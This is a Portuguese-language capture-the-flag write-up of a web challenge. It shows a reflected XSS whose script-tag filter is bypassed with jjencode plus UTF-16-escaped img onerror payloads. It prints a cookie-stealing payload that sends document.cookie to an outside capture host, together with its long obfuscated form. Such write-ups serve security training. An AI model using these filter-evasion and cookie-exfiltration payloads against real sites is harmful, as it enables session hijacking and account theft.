Esta é uma resolução de um desafio de web do HF: Warz0ne.
Acessando a url que o desafio nos dava, http://159.65.249.122:8585/, era possível encontrar uma aplicação, que em resumo, pegava o valor passado no input e o transcrevia na página em UPPERCASE.
A partir daí, tentei executar um alert(1), porém sem sucesso pois eu vi que a tag script estava sendo barrada pelo backend, sendo assim, pensei em procurar quais eram as possíveis tags que estavam sendo barradas:
Sendo assim, encodei o payload que eu passava para ver se mesmo assim era barrado ou se seria executado.
O primeiro payload que testei foi:
<img src=x onerror=alert(1)>
Encodei img, src e onerror com UTF-16:
<\u0069\u006d\u0067 \u0073\u0072\u0063=x \u006f\u006e\u0065\u0072\u0072\u006f\u0072=alert(1)>
Porém o alert não foi executado e no console dizia “ALERT is not defined”, ou seja, o alert tinha que estar encodado também. Mas mesmo encodando com UTF-16 continuava dando o mesmo erro, a partir disso fui procurar algum bypass no google e encontrei! Encontrei que se eu encodasse primeiramente com jsfuck ou jjencode e depois com UTF-16 o alert seria executado. Maasss…. tinha um problema: com jsfuck o payload fica ENORME e excedia o limite de tamanho em um http header, logo mudei para o jjencode e tudo ficou ok!
Encodando o alert(1) com jjencode e logo em seguida com UTF-16, o payload:
<img src=x onerror=alert(1)>
Ficou assim:
<\u0069\u006d\u0067 \u0073\u0072\u0063=x \u006f\u006e\u0065\u0072\u0072\u006f\u0072=\u0024\u003d\u007e\u005b\u005d\u003b\u0024\u003d\u007b\u005f\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u0024\u003a\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u005f\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u005f\u003a\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u0024\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u0024\u003a\u0028\u007b\u007d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u0024\u005f\u0024\u003a\u0028\u0024\u005b\u0024\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u0024\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u005f\u003a\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u005f\u005f\u003a\u0028\u007b\u007d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u0024\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u005f\u0024\u003a\u002b\u002b\u0024\u007d\u003b\u0024\u002e\u0024\u005f\u003d\u0028\u0024\u002e\u0024\u005f\u003d\u0024\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u0024\u005f\u0024\u005d\u002b\u0028\u0024\u002e\u005f\u0024\u003d\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0024\u002e\u0024\u0024\u003d\u0028\u0024\u002e\u0024\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0028\u0021\u0024\u0029\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u0024\u005d\u002b\u0028\u0024\u002e\u005f\u005f\u003d\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u0024\u0024\u005f\u005d\u0029\u002b\u0028\u0024\u002e\u0024\u003d\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0024\u002e\u005f\u003d\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u0029\u002b\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u0024\u005f\u0024\u005d\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u0024\u003b\u0024\u002e\u0024\u0024\u003d\u0024\u002e\u0024\u002b\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u0024\u005d\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u002b\u0024\u002e\u0024\u002b\u0024\u002e\u0024\u0024\u003b\u0024\u002e\u0024\u003d\u0028\u0024\u002e\u005f\u005f\u005f\u0029\u005b\u0024\u002e\u0024\u005f\u005d\u005b\u0024\u002e\u0024\u005f\u005d\u003b\u0024\u002e\u0024\u0028\u0024\u002e\u0024\u0028\u0024\u002e\u0024\u0024\u002b\u0022\u005c\u0022\u0022\u002b\u0024\u002e\u0024\u005f\u0024\u005f\u002b\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0022\u0028\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0022\u0029\u0022\u002b\u0022\u005c\u0022\u0022\u0029\u0028\u0029\u0029\u0028\u0029\u003b>
A partir disso era só criar um payload que pegava o cookie e o enviava para um servidor de controle seu. E esse payload seria enviado no /contact da aplicação.
Payload:
<img src=x onerror=location='https://mlkzika.free.beeceptor.com/?cookie='+document.cookie>
O trecho abaixo foi encodado jjencode e depois com UTF-16:
location='https://mlkzika.free.beeceptor.com/?cookie='+document.cookie
Payload final:
<\u0069\u006d\u0067 \u0073\u0072\u0063=x \u006f\u006e\u0065\u0072\u0072\u006f\u0072=\u0024\u003d\u007e\u005b\u005d\u003b\u0024\u003d\u007b\u005f\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u0024\u003a\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u005f\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u005f\u003a\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u0024\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u0024\u003a\u0028\u007b\u007d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u0024\u005f\u0024\u003a\u0028\u0024\u005b\u0024\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u005f\u0024\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u005f\u003a\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u005f\u005f\u003a\u0028\u007b\u007d\u002b\u0022\u0022\u0029\u005b\u0024\u005d\u002c\u0024\u0024\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u0024\u0024\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u005f\u005f\u003a\u002b\u002b\u0024\u002c\u0024\u005f\u005f\u0024\u003a\u002b\u002b\u0024\u007d\u003b\u0024\u002e\u0024\u005f\u003d\u0028\u0024\u002e\u0024\u005f\u003d\u0024\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u0024\u005f\u0024\u005d\u002b\u0028\u0024\u002e\u005f\u0024\u003d\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0024\u002e\u0024\u0024\u003d\u0028\u0024\u002e\u0024\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0028\u0021\u0024\u0029\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u0024\u005d\u002b\u0028\u0024\u002e\u005f\u005f\u003d\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u0024\u0024\u005f\u005d\u0029\u002b\u0028\u0024\u002e\u0024\u003d\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u005f\u0024\u005d\u0029\u002b\u0028\u0024\u002e\u005f\u003d\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u0029\u002b\u0024\u002e\u0024\u005f\u005b\u0024\u002e\u0024\u005f\u0024\u005d\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u0024\u003b\u0024\u002e\u0024\u0024\u003d\u0024\u002e\u0024\u002b\u0028\u0021\u0022\u0022\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u0024\u005d\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u002b\u0024\u002e\u0024\u002b\u0024\u002e\u0024\u0024\u003b\u0024\u002e\u0024\u003d\u0028\u0024\u002e\u005f\u005f\u005f\u0029\u005b\u0024\u002e\u0024\u005f\u005d\u005b\u0024\u002e\u0024\u005f\u005d\u003b\u0024\u002e\u0024\u0028\u0024\u002e\u0024\u0028\u0024\u002e\u0024\u0024\u002b\u0022\u005c\u0022\u0022\u002b\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u0024\u005f\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0022\u003d\u0027\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0022\u003a\u002f\u002f\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0028\u0021\u005b\u005d\u002b\u0022\u0022\u0029\u005b\u0024\u002e\u005f\u0024\u005f\u005d\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u002b\u0024\u002e\u005f\u0024\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u005f\u002b\u0022\u002e\u0022\u002b\u0024\u002e\u0024\u0024\u0024\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u0024\u005f\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u002e\u0022\u002b\u0024\u002e\u0024\u005f\u0024\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u0024\u005f\u002b\u0022\u002e\u0022\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0022\u002f\u003f\u0022\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u003d\u0027\u002b\u0022\u002b\u0024\u002e\u0024\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u005f\u002b\u0024\u002e\u005f\u005f\u002b\u0022\u002e\u0022\u002b\u0024\u002e\u0024\u0024\u005f\u005f\u002b\u0024\u002e\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u0024\u0024\u002b\u0022\u005c\u005c\u0022\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u005f\u0024\u002b\u0024\u002e\u005f\u005f\u0024\u002b\u0024\u002e\u0024\u0024\u0024\u005f\u002b\u0022\u005c\u0022\u0022\u0029\u0028\u0029\u0029\u0028\u0029\u003b>
E o enviei para o /contact:
Era só necessário quebrar o “captcha” (o script está no github da minha equipe):
E depois enviar no campo url do /contact: http://159.65.249.122:8585/?msg=PAYLOAD.
E, por fim, só acessar o seu servidor e ver as requisições, e lá estava a flag!
Flag:
HACKAFLAG{Insira_Um4_fl4g_4qu1}
JSFuck - Write any JavaScript with 6 Characters: []()!+